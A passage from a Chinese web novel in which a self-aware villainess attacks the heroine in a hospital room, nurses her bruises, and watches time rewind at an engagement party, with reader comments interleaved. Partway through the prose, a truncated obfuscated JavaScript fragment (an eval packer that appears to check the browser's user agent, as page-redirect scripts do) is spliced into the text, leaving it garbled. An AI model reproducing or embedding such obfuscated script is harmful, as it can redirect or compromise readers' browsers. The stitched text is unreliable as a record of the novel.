只穿着毛衣和弹力保暖裤上楼,现在即使袜子沾灰,也比她的鞋底干净。 打开卧室门,圆满还在睡觉。 听到主人轻巧的脚步声,睡意朦胧的橘白小猫立刻跳下来,走着走着还伸出一只猫爪,身体后移着打哈欠。 陈晓薇板起脸:“不要过来。” 然而,猫才听不懂她的指令,就算是能听懂,也不会遵从的。 陈晓薇赶紧溜进浴室,以为主人在跟她玩什么把戏,欲擒故纵,圆满立刻竖起尾巴,迈着哒哒哒的脚步朝着陈晓薇狂追。 只差两步就能跟进浴室的圆满气哼哼挠门。 短暂的沉默后,世界安静下来。 那些烦躁得无以复加的念头再度涌上来,陈晓薇看着镜中的自己,她也会像霉斑人那样,长满霉斑吗? 水冰冰冷冷的,浸得她骨缝发寒。 本来以为杀人进监狱就已经是作为“陈晓薇”最坏的结局了。 没想到还有更坏的,陈晓薇眼眶发烫,连忙打开花洒。 细心地清洗自己的每一根发丝,就算是防不住那霉菌的侵入,至少也让她心理好受些。 热水澡缓解了她的疲惫,又或者是人类面对巨大的为难,无法接受无法理解的时候,会产生的逃避感作祟,她现在陷入极度的沉静。 圆满立刻贴上来,蜷在她的颈边呼噜噜。 它还是只年纪很小的猫,喜欢跟热乎乎的人类贴着。 陈晓薇坐起身,将猫抱远。 害怕以后她成为霉斑人去流浪的话,身边还跟着裹满霉斑的圆满。 猫眨眨眼睛,不明所以地颠颠跑回来。 在陈晓薇第二次将它放到床脚的时候,圆满不高兴地轻轻叼住陈晓薇的手腕,小施惩戒,随后舔舔。 不管这样的动作重复几次,圆满总是会回到陈晓薇的身边。 用蓬松柔软的毛来黏着陈晓薇。 没想到反倒是陈晓薇先崩溃。 她用胳膊横着挡住眼睛,伤心地想,猫这种笨蛋,只要认定主人怎么都赶不走,真是笨蛋。 如果她能像猫一样,不会觉得伤心就好了。 陈晓薇带着潮湿的脸颊翻身,圆满就缩在她的肩膀后面,有一下没一下地对着棉被踩奶。 [奚冀还挺细心的,知道租轮椅呢。] [这两个经过今天,感情肯定要升温再进一步。等腿上的伤口缝完针,今晚还要陪护的是不是,嘿嘿,搓手期待。] [肯定呀,渺渺腿上有伤,怎么自己行动啊。] 陈晓薇逃避地用棉被捂住头,很快又因为憋闷而将脸露出来,柔韧的黑发在脸颊边乱七八糟的。 她捞起圆满,猫在她的掌心摊成长条,只有肚子是鼓鼓的。 “其实我没必要这么生气的,是不是?” “我有什么办法呢?” 即使是这种时刻,她也是隔空从评论里知道奚冀和舒渺的事情。 他们真的有什么甜蜜互动,等她知道的时候,也已经是过去式了。就算她的嫉妒心将她撑得原地爆炸,也不会改变丝毫奚冀的现状。 “我无能为力,我什么都改变不了……我……” 毕竟,这是主角们的世界,世界围绕着他们运行。 今天好疲惫,也是有史以来最痛苦的生日了。陈晓薇苦涩地想,不管外面的世界如何,哪怕下一秒就要毁灭,她也要先睡觉。 可是—— \ 可是她怎么甘心! 陈晓薇一拳砸在洗手池边缘,血沿着瓷盆分成丝丝缕缕的红色。 凭什么她要被奚冀留在原地,寒心无比,舒渺却能依偎在奚冀的怀里,被好好呵护呢。 “都是舒渺碍事。”陈晓薇阴恻恻,“只要除掉舒渺,从此以后,再也没人能让我这么难受。” 陈晓薇阴沉着脸走出浴室。 圆满亲昵贴上来的时候,她毫不留情用脚背挑起圆满热乎乎的肚子,把它甩出去。 “滚开!” 猫慌张地四肢着地,懵懵仰头瞧主人。 啧。 陈晓薇皱眉,针对舒渺就针对舒渺,打她的猫干什么。 神经作者。 瞧着圆满飞机耳,陈晓薇即使想把它抱起来安慰也做不到了。 她坐在化妆镜前,给素净的脸绘色,神情仿佛是即将上场决斗,面临你死我活的蛐蛐。 圆满察觉到她的杀意,恐惧地缩在桌底,短短的四肢趴成板鸭,看着可怜巴巴的。 作为周听砚特别关照的病患,受外伤的舒渺被安排在VIP病房。 陈晓薇藏蓝的工装外套衣领拉高,隔着门幽幽瞧。 奚冀正坐在病床边削水果,而舒渺在吃蓝莓。不知道在讲什么,举着水果叉笑容灿烂。 陈晓薇捏紧拳头,衣料随着她的使劲哗啦啦响。 敌人的笑脸就是毒药。 陈晓薇从来不知道,自己还有做刺客的潜质。 她静静隐没在黑暗里,等奚冀出门去护士站的时候,她从黑暗里现身,打开门缝钻进去。 “咱们今天——” 舒渺的笑脸僵硬,看向将门反锁的陈晓薇。 医院病房的门都是无法反锁的,这种特护病房却特殊。 “你来干什么?” 舒渺立即有些可怕的猜想,往后退退。 陈晓薇邪恶扬起半边嘴角,画着浓重眼影和上扬眼线的她瞧起来像是电视剧里经典的能同时扇八张脸的恶毒女配。 “当然是让你跟我一起死。”陈晓薇咬牙切齿地扑过去。 腿有伤,舒渺根本无力抵挡,挣扎的时候,舒渺断断续续:“你还看不清楚吗?奚冀喜欢的人……是我,我不会错过他了,也不会……呃再忍让你!” 舒渺的枕头抡在陈晓薇脑袋,趁机抓住她的头发。 两个人从病床上滚落,那些精心切好的水果粒散落满地。 翻滚的时候,舒渺占据上风,一巴掌拍向陈晓薇的脸。 陈晓薇眼疾手快躲过,灌注全身的力气,恨不得把指甲扎进舒渺的皮肤里。 撕碎她的脸。 陈晓薇在齿缝里喃喃:“要不是你,要不是你,我哥怎么会这样对我,都怪你,你给我去死啊。” 病床因为她们俩滚来滚去时的碰撞接连发出吱嘎声。 门外,程俊仅是往里面瞧一眼,神色就骤然惊惶。赶紧叫护士来开门,同时拼命地拍病房门,希望阻止她们。 陈晓薇拖起舒渺的衣领,将她怼在床头柜上,发出乒铃乓啷的乱响。 舒渺痛呼,明艳的眼眸微微眯着。 跟陈晓薇多次的交锋使得她生出些血性来,她要反击,不能总是忍让。 “可是怎么办呢,陈晓薇。” “你爱得要命的奚冀,偏偏对你不感兴趣,而我,只需要招招手,他就会上赶着来对我好,你识相点,离奚冀远点。” 被戳到痛处的陈晓薇牙都要咬碎了。 “我现在就叫你死在这!” 病房的门弹开,陈晓薇还没来得及有反应,就被揪住脖领甩出去,胳膊擦到墙面。 “渺渺,怎么样?” 程俊愤恨地回头,看向依旧蠢蠢欲动的陈晓薇,线条刚硬的脸写满怒气,脸颊的肉都在颤抖。 [爽,如果男二能扇女配几巴掌,那就更爽了!] [是啊,奚冀总是警告,警告,屁用没有。] [……啊这,倒也没必要写男角色为女主出头就伸手打女配的桥段吧,不会让人有什么好印象的哈,只会让人联 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-你是来报复舒渺的吗? -当时我没办法,舒渺的腿伤着没法走路,如果我不救她,她就会死在那里。 -我回去的时候,你已经离开了。 陈晓薇的眼前模糊。 \ 意识到剧情不需要她了,陈晓薇一言不发地往外走,却被奚冀攥住手臂。 -你不能总是这样,毫无顾忌地惹祸,然后起身离开。 “那又怎么样。”陈晓薇睁着猩红的眼睛,“今天你已经因为她放弃我了,现在又要做什么?” 奚冀为难地皱眉,却没有放开手,他现在完全不清楚自己为什么不想放手。 “你真让我寒心。” 陈晓薇甩开他的手。 剧情里的陈晓薇有种剧烈的愤怒和痛苦,剧情外的陈晓薇痛苦丝毫不减,却很平静。 “随便你,随便你怎么想,任何事情都不会比你今天抛弃我更让我痛苦了。” 奚冀看着她决绝离开的背影,看向自己的手指发呆。 浑身都痛。 陈晓薇孤零零地在医院的花坛边坐着,不知道该往哪里迈步,甚至不想回家。 黑夜里,有道毛茸茸的身影轻巧靠近发呆的陈晓薇,见她没有反应,干脆跳上她的膝盖。 奶牛猫的皮毛顺滑,乌溜溜的眼睛看着陈晓薇的脸,瞳仁里倒映着她红肿的眼睛。 “我没有吃的。”陈晓薇嗓音沙哑。 奶牛猫以陈晓薇为踏板,跳到光秃秃的花坛里。嗅来嗅去,最后认定一个位置,开始刨坑。 陈晓薇轻轻抿嘴,继续看沉沉的黑夜。 隔一会儿,她因为扬起的细细沙土回头瞧,猫还在锲而不舍地挖坑。 “你需要这么大的……”陈晓薇的话音减弱。 奶牛猫戴着白手套的爪底,露出一个灰扑扑的笔记本。 《霉斑》! 陈晓薇原地蹦起来,惹得沉浸在刨坑的艺术里不晓得天地为何物的奶牛猫因为骤然投过来的阴影而原地哈气。 “把它给我好不好。” 炸毛的奶牛猫气呼呼跑走了,它只挖出一角,陈晓薇也不顾土里还有石块,直接徒手挖。 终于将《霉斑》拿在手心里,她的心跳如鼓。 陈晓薇有种错觉,触摸到笔记本的时候,她与它产生莫名的联结,仿佛拥有着同样的心跳。 她拂掉封面的土,小心翼翼翻开。 -薄切红薯片 -[人物设定]舒渺:栗色长卷发,笑起来脸颊有酒窝,小鹿眼。温柔,正直,愿意为自己争取机会。 -[人物设定]周听砚:混血霸总,有胃病,对舒渺以外的女人过敏,性格傲娇。 -[人物设定]程俊:舒渺的青梅竹马,长相硬朗,程序员,缺乏运动但擅长做饭,始终守护舒渺。 下一个人物设定应该是奚冀,陈晓薇舔舔嘴唇,紧张翻页—— 一只手狠狠挠她。 惊惧吃痛的陈晓薇下意识松手,却不愿意放弃这难得探知世界真相的机会。 笔记本已经脱手,陈晓薇连忙去抢,那疯癫的人却抱着笔记本就跑,速度奇快。 “你是……你是作者对不对!” 不然没法解释,她总是理直气壮地抢回笔记本,那模样就像是她的所有物似的。 但那女人根本无心理她,陈晓薇追着她来到医院后身的消毒间,瞧着这充满布草的角落,陈晓薇就知道她又要消失了。 陈晓薇不明白,这人为什么总是对她避之不及。 “薄切红薯片!”陈晓薇怒吼。 这称呼使得那人佝偻的脊背挺直一瞬间,几乎是下意识的反应,她在彻底融化前,回头望陈晓薇。 乱发把她的眼睛都遮住,但她的嘴角没有一丝牵动。 也就是说,她看着陈晓薇,看着因为她随意的设定而身陷痛苦的陈晓薇,面无表情,无悲无喜。 陈晓薇气急败坏,慌乱间不知道说什么好。 “薄切红薯片,你……你坏事做尽!” 13. 13 陈晓薇失魂落魄地回家,打开门就瞧见沉默的奚冀。 因为她的捣乱,今晚的奚冀也遗憾败北,失去陪护的资格,居然能比她先到家。 兄妹俩相顾无言。 最近这段时间,这还是第一次,他们都不知道该跟对方说什么,说什么都是无用的。 陈晓薇换完拖鞋,径直坐电梯回房间,这样就不会经过奚冀的身边了。 没开灯的卧室黑漆漆的。 啪。 陈晓薇的视线搜寻到蜷在枕头中间的圆满,它乌溜溜的眼睛写满犹豫,将毛茸茸的身体缩紧,有些畏惧她的模样。 “圆满,来。” 陈晓薇勉强打起精神,摇冻干袋。就像孩子永远无法真心地讨厌自己的父母,圆满核桃仁似的脑容量也记不住太多仇恨。 它完全忘记今天被邪恶陈晓薇用脚背颠飞的事情,立刻屁颠屁颠地凑过来,充满仪式感地蹭陈晓薇的手背。 毛茸茸的橘色毛团在陈晓薇的掌心呼噜噜。 陈晓薇抿抿嘴,音调很低:“满满,下次看到我不对劲,你就要离我远点。” 眼睁睁看着自己不受控制地伤害心爱之物,简直是酷刑。 “你会原谅我,是不是?” 躺进被窝里,陈晓薇无意识叹气的时候,才意识到今天是无比漫长的一天。 所有的事情都在事与愿违。 疲惫的陈晓薇翻身,这才后知后觉,自己的胳膊和腰都有撞出来的淤青。只是她的心情太低落,低沉的情绪将痛意都掩盖住了。 而此刻,万籁俱寂的此刻,连薄切红薯片都不知道在哪儿睡觉的此刻,积压已久的痛意终于密密麻麻地涌上来。 需要睡觉,陈晓薇想。 除去睡觉,她没有任何事情能做。她要珍惜这不受别人的意志而控制的时间,用这样宝贵的时间,来填补她的伤口。 陈晓薇呼吸沉沉,逐渐睡去。 光影之外,黑夜愈发浓稠。 始终冷着脸的奚冀突然像是呼吸困难,弓着背粗喘着换气,嗓音像是喑哑的琴弦。 他放开紧紧攥住领口的手,随即像是想到什么,快步走到储物柜前,拎起药箱,一步三个台阶地跑。 陈晓薇所在的楼层静谧。 走廊里的暖黄声控灯随着他的经过而依次亮起,照亮奚冀清俊的脸,指骨修长的手指搭住门把手,却变得犹豫。 就像奔跑许久,到达目的地后反而产生的胆怯。 他微微启唇,将忐忑的气息散去,轻轻推开门。 室内飘着木质调熏香的气息,壁灯距离围着床幔的床还有些距离,可以为深夜的访客照亮前路,却不会影响到沉睡的陈晓薇。 咚,有什么东西轻巧落地。 奚冀没有将门关紧,刚迈出一步,就被一道橘色的残影偷袭,锋利的尖爪把他的拖鞋都挠花。 作为合格的猫猫守卫,圆满秉承着出击就要闷不做声的原则,随后开始呵斥舅舅。 “哈——”圆满炸毛哈气。 奚冀将手指抵在唇边,在圆满戒备的目光中缓缓将手背凑到它面前。 神情真诚地示意圆满来录入气味儿。 橘色猫猫顶着飞机耳,凑近闻闻。见奚冀径直朝着陈晓薇走过去,圆满立刻跟紧,蹲在陈晓薇的枕边。 奚冀神情复杂。 陈晓薇睡前偷偷哭过,眼皮还有点肿,脸颊边黏着几根被眼泪浸湿的柔软发丝。 拥着碎花被子的胳膊肘,看起来惨不忍睹。 不只是青紫,还蹭掉指甲大的一块皮,伤口裸露在空气里,看着就疼。 这么多的伤,也不知道向来娇气的陈晓薇是怎么忍住没有痛呼的。 奚冀嘴唇颤抖地沿着床沿坐下,没注意到自己眼底的情绪有点难过,也没有注意到旁边的圆满举起毛爪,要挥不挥地悬在半空,随时打算给他致命一击。 他轻柔地握住陈晓薇的手腕,睡梦里的她随着牵扯,近乎是趴在棉被边。 奚冀让陈晓薇的胳膊轻柔地搭在自己膝盖上,只要胳膊有着力点,她就会沉沉睡着,不会醒。 止痛喷雾小心翼翼避开伤口的位置,沿着手臂喷,珍惜而轻柔。 睡梦里的陈晓薇因为药物镇压痛意,拧着的眉都舒展几分。 观察她神情的奚冀却皱眉,强压着涌上来的难过,继续为她的伤口消毒。 过去几小时,淤青已经由红肿转变成青紫。 奚冀在熨帖掌心里揉搓红花油,覆住陈晓薇的手臂,视线却始终凝在她的脸上。 陈晓薇轻轻哼,他就控制着掌心的力道,再轻柔两分。 她的脸颊紧挨着锯齿状的被子边缘,那些锯齿仿佛就是她生活里表现出的嚣张跋扈,带着些张牙舞爪的可爱。 奚冀不由自主地低头靠近。 却在感受到陈晓薇气息的时候咬住嘴唇,幸好心跳不会冲破皮肤,不然沉睡的陈晓薇会被他躁动的心跳吵醒。 绵长的,真挚的柔情视线望着她,酸涩的感触就已经漾满。 奚冀坐直身体,合眼的几秒钟,就像是在做什么艰难抉择。 随后他将陈晓薇的被子掖好,将自己带来的东西全部收好,轻手轻脚离开,仿佛从未来过。 室内再次寂静。 圆满嗅嗅陈晓薇,轻轻打喷嚏,随后边打着喷嚏,边蜷着睡着了。 陈晓薇做了一个奇怪的梦。 梦里,圆满不断地打喷嚏,疯狂地打喷嚏。 “你怎么啦?” “妈妈……阿嚏。”毛茸茸的猫凑近,声线像是刚刚学会说话的小女孩,“妈妈,我想跟你说一件重要的事情。” 陈晓薇眨眨眼,俯身认真瞧它,等待着听重要的事情。 “阿嚏。” “你下次吃面包的时候,给我尝尝,我也想吃。” “……哦,好的。”陈晓薇摸摸后颈。 “今天是舅舅的毕业典礼。” “天哪,我怎么把这件事情忘了。”陈晓薇连忙起床,在柜格里翻来翻去,直到找到针线盒。 受到无数偶像剧的影响,每到毕业季,校服的第二颗纽扣都会蕴含着别样的含义:它距离心脏最近。 通常来说,情窦初开的孩子们会把这颗纽扣送给有好感的人。 陈晓薇打算将奚冀的第二颗纽扣缝死,任谁也无法摘掉。 她捏着针线,抓住莫名其妙的奚冀,念念叨叨要缝三十遍。 奚冀的视线在她认真的脸上游移,随后垂眼,制止陈晓薇的动作。 “干嘛?”陈晓薇不满。 奚冀拿过剪刀,直接将纽扣剪掉,攥在掌心里。 递给陈晓薇的瞬间,见她有点愣神,奚冀咬咬嘴唇,干脆将纽扣随意地抛到桌面上,将外套拉好,盖住缺失纽扣的衬衫。 -我没有想送的人,就留在家里吧。 陈晓薇在空气微冷的清晨醒来,抻懒腰的时候察觉到浑身都痛,只能皱着脸抱着睡意朦胧的圆满去吃早餐。 她撕开软乎乎的面包,圆满乖巧地蹲好,亮晶晶的眼睛写满感兴趣。 陈晓薇歪头,想起昨晚的梦境。 严格来说,后半段是她的记忆,但她实在想不起,奚冀当时的神情。她将信将疑地将面包凑近圆满,猫高兴地小幅度甩尾巴,就着陈晓薇的手细细品尝。 “好怪的梦。”她耸肩。 过些天,陈晓薇收到一份颇感意外的请柬。 是来自沈沛的。 沈沛和周听砚的家里从小就默认他们以后会联姻,门当户对,强强联合。 说起来,陈晓薇看着请柬上的烫金订婚邀请发呆。这么看的话,沈沛跟她差不多,都是不断作死的恶毒女配,只是出场时间比她晚点而已。 可周听砚不是喜欢舒渺吗,怎么会同意跟沈沛办订婚宴? 订婚宴的场地出乎意料地没有选择在庄园或者城堡,而是一座大楼的内部宴会厅,宴会厅占据整层,位置在七楼。 沈沛穿着烈火似的红裙,笑意盈盈地跟宾客打招呼,随后就进化妆间了。 陈晓薇跟唐圆坐在雅座里,看唐圆高兴地拿起餐盘,但又顾及面子不敢多拿,总是快速吃完,然后又鬼鬼祟祟接近餐桌,她就觉得好笑。 “好吃吗?” “好吃,这个桂花龙井味的甜品,”唐圆眼睛亮起,“里面能嚼到花瓣!” “那你就多拿点。” “被人看到的话,会不会笑我呀?” “不会的,敞开吃,喜欢的话打包带回家吃。”陈晓薇遥遥看向主舞台已经准备好的蛋糕和香槟塔,声音越来越低,“反正咱们不是主角,没人会注意到的。” \ 周听砚戴着包裹住手腕的手套,不情不愿地上台。 灯光闪过,舞台底下所有宾客的脸都是那样模糊,千篇一律,导致周听砚有些走神。 主持人在用高昂的语调,宣布将由周听砚和沈沛共同切蛋糕。 周听砚突然注意到喧闹的人群里,有道沮丧的,栗色卷发搭在背的身影,正颓丧地离开这里。 他咬牙切齿攥住沈沛的手腕:“是你告诉舒渺的?” 沈沛红艳艳的嘴角扬起,面色自若地握住刀,说话的时候依旧维持着得体的微笑:“当然,我听说,你对舒渺很特别,我当然要邀请她来见证咱们幸福的订婚仪式。” “你怎么敢——” \ 昏昏欲睡的陈晓薇被惊呼声吵醒,只见周听砚居然不管不顾地跳下舞台,无视所有人的阻拦,穿过人群朝着宴会厅外跑去。 像极了奔向爱情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈晓薇心底焦急想要阻拦,却骤然滑倒,用胳膊撑住地艰难爬起来。 这都是剧情在束缚着她。 陈晓薇痛恨地望着电梯的方向,奚冀根本没有听到她的话,泛着银色光亮的电梯轿厢已经缓缓闭合。 侍应生在收拾摔碎的花瓶和尘土。 “嗡。” 眼前的电梯伴随着沉闷的声音陷入故障。 注意到的周听砚拨开长辈,朝着电梯的方向跑。 \ 陈晓薇合眼,清泪夺眶而出。不管是奚冀和舒渺会因此遇到生命危险,还是会因此感情升温,都不是她愿意看到的事情。 “我好想——” 陈晓薇惊愕地愣在原地,后半句话完全说不来了。 她的耳际,响起窸窸窣窣的嘈杂声音。就像有人攥着纸团,不断地在她耳边揉搓,又像是橡皮暴力地擦过纸面的声音。 更诡异的是。 周听砚倒退着奔跑。 电梯的故障灯熄灭,楼层提示再次亮起。 窸窸窣窣声未停,侍应生扫把下的尘土和碎瓷片再次飞回地面。 陈晓薇惊愕地看向电梯,完整闭合着的电梯门缓缓打开,舒渺和奚冀正耐心等待。 仿佛是……仿佛是刚刚发生的所有事情,都在倒带。 噪音停止了,陈晓薇毛骨悚然地发觉,再次响起的,是自学生时代起,就无比熟悉的声音。 寂静的考场上,能听到无数笔尖滑过纸张的时刻,那声音此刻就在她的耳际回响着。 更重要的是,她好像能动了。 \ 泛着银色光亮的电梯轿厢缓缓闭合,将奚冀没什么表情的冷淡脸庞隐没在黑暗里。 摔倒的陈晓薇爬起。 她距离电梯按键有些距离,现在电梯缓缓沉降,她已经来不及阻止了。 陈晓薇深吸气,在狂躁跳动的心脏声中,在不断响起的书写声中,飞奔进楼梯间。 冷汗顺着额角流。 快点,再跑快点。 也许是哪路神明听到了她的祈求,她跑到四楼的时候,福灵心至跑出消防通道。 眼底泛酸。 有人按过电梯的按键,也许是久久没能等来电梯,所以离开了。 “叮——” 正将脸埋在奚冀肩膀哭的舒渺惊愕回头。 陈晓薇粗喘着跑进电梯里—— 铅笔书写的声音停了。 [??] [这么甜蜜的场景,为什么要写女配出现?] [薄切红薯片,你又发癫。]